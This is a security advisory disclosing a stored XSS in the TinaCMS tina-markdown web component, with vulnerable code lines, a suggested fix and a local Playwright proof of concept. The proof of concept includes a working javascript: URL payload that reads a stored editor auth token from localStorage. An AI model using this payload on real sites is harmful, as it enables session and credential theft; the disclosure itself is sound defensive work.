Advisory

GHSA-c42q-qvc3-j6vg

Also known as: CVE-2026-108260

Summary

@tinacms/web-components: tina-markdown writes rich-text link URLs into href without scheme validation, allowing stored XSS

Details

Summary

<tina-markdown> renders a rich-text AST into the DOM and, for a nodes, assigns the node's URL straight to the anchor's href with no scheme check. A link authored in the CMS as javascript:… renders as a live javascript: anchor, so a visitor who clicks it executes attacker-supplied script in the site's origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not.

Details

The unvalidated sink:

packages/@tinacms/web-components/src/tina-markdown.js:67-69
  if (node.type === 'html' || node.type === 'html_inline') {
    return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });
  }
packages/@tinacms/web-components/src/tina-markdown.js:75    if (node.url && node.type === 'a') el.href = node.url;
packages/@tinacms/web-components/src/tina-markdown.js:76    if (node.url && node.type === 'img') el.src = node.url;

node.url comes from the content attribute the site populates from the TinaCMS content API (:169-176), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at :68 handles only raw-HTML node values and returns before the anchor branch, so it never inspects node.url. Line 75 is a direct property assignment — no HTML parser, no sanitizer. The mode: 'open' shadow root (:164-167) provides no script isolation.

The guard that exists in every sibling renderer:

packages/@tinacms/mdx/src/sanitize-url.ts:10          allowedSchemes = ['http','https','mailto','tel','xref']
packages/tinacms/src/rich-text/index.tsx:335            <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/index.tsx:322            <img src={sanitizeUrl(child.url)} .../>
packages/tinacms/src/rich-text/static.tsx:254           <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/static.tsx:242           <img src={sanitizeUrl(child.url)} .../>
packages/@tinacms/astro/src/LinkNode.astro:19           <a href={sanitizeHref(node.url)}>
packages/@tinacms/astro/src/ImageNode.astro:16          <img src={sanitizeImageSrc(node.url)} .../>

tina-markdown.js:75 is the only rich-text link sink in the repository that omits it — six of seven sanitize.

That this is an oversight rather than intent: the 0.2.0 changelog entry states the goal of "matching the components prop on the React and Astro renderers" while adding DOMPurify for html nodes, and packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96 only asserts that an https://example.com link renders — no scheme case is covered either way.

Default-enabled: customElements.define('tina-markdown', TinaMarkdown) runs at module scope (:179); importing the published entry point is the whole setup, with no option object or sanitizer setting.

Suggested fix — reuse the existing dependency-free subpath export rather than adding a third implementation:

import { sanitizeUrl } from '@tinacms/mdx/sanitize-url';
if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url);
if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);

Variant with the same root cause and the same fix: :76 (img.src). A javascript: URL does not execute from img.src, so it is not scored here, but the line has no validation either — which is why @tinacms/astro carries a separate sanitizeImageSrc.

PoC

Safe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads tina-markdown.js byte-for-byte from the checkout (bundled with its declared dompurify dependency) and also exposes the repository's own sanitizeUrl so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable.

Environment used: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) driven by [email protected].

Setup

git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD

mkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm
npm init -y >/dev/null
npm i --ignore-scripts [email protected] [email protected] [email protected]

cp "$REPO/packages/@tinacms/web-components/src/tina-markdown.js" ./tina-markdown.js
cp "$REPO/packages/@tinacms/mdx/src/sanitize-url.ts"             ./sanitize-url.ts

entry.js:

import './tina-markdown.js';                       // registers <tina-markdown>
import { sanitizeUrl } from './sanitize-url.ts';   // the canonical guard, for the control
window.__sanitizeUrl = sanitizeUrl;

site/index.html — the AST is what @tinacms/graphql returns for the markdown source [click me](javascript:…):

<!doctype html><html><head><title>public site rendering CMS rich-text</title></head>
<body>
<h1>Site page</h1>
<div id="host"></div>
<script type="module" src="/bundle.js"></script>
<script type="module">
  const ast = {
    type: 'root',
    children: [
      { type: 'p', children: [
        { type: 'a',
          url: "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
          children: [{ type: 'text', text: 'click me' }] }
      ]}
    ]
  };
  // Stand-in for a signed-in editor's stored TinaCMS credential. The real key and
  // value are written by packages/tinacms/src/internalClient/authProvider.ts:117.
  localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN');
  const el = document.createElement('tina-markdown');
  el.setAttribute('content', JSON.stringify(ast));
  document.getElementById('host').appendChild(el);
  window.__ready = true;
</script>
</body></html>

run.cjs:

const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const PORT=8811, DIR=path.join(__dirname,'site');
const srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0];
 const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}
 res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});
 res.end(fs.readFileSync(f));});
(async()=>{await new Promise(r=>srv.listen(PORT,'127.0.0.1',r));
 const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});
 const page=await browser.newPage();
 await page.goto(`http://127.0.0.1:${PORT}/`);
 await page.waitForFunction(()=>window.__ready===true); await page.waitForTimeout(300);
 const rendered=await page.evaluate(()=>{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a');
   return {hrefAttr:a&&a.getAttribute('href')};});
 await page.evaluate(()=>document.querySelector('tina-markdown').shadowRoot.querySelector('a').click());
 await page.waitForTimeout(500);
 const pwned=await page.evaluate(()=>window.__pwned||null);
 const control=await page.evaluate(()=>window.__sanitizeUrl("javascript:window.__pwned = document.domain"));
 console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null,
   capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2));
 await browser.close(); srv.close();})();

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-10-09 20:56 UTC
Modified
2026-10-09 21:15 UTC

Affected packages and fixes

@tinacms/web-components

npm · All systems

Affected

  • introduced 0, fixed 0.2.1 (semver)

Fixed versions

0.2.1

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences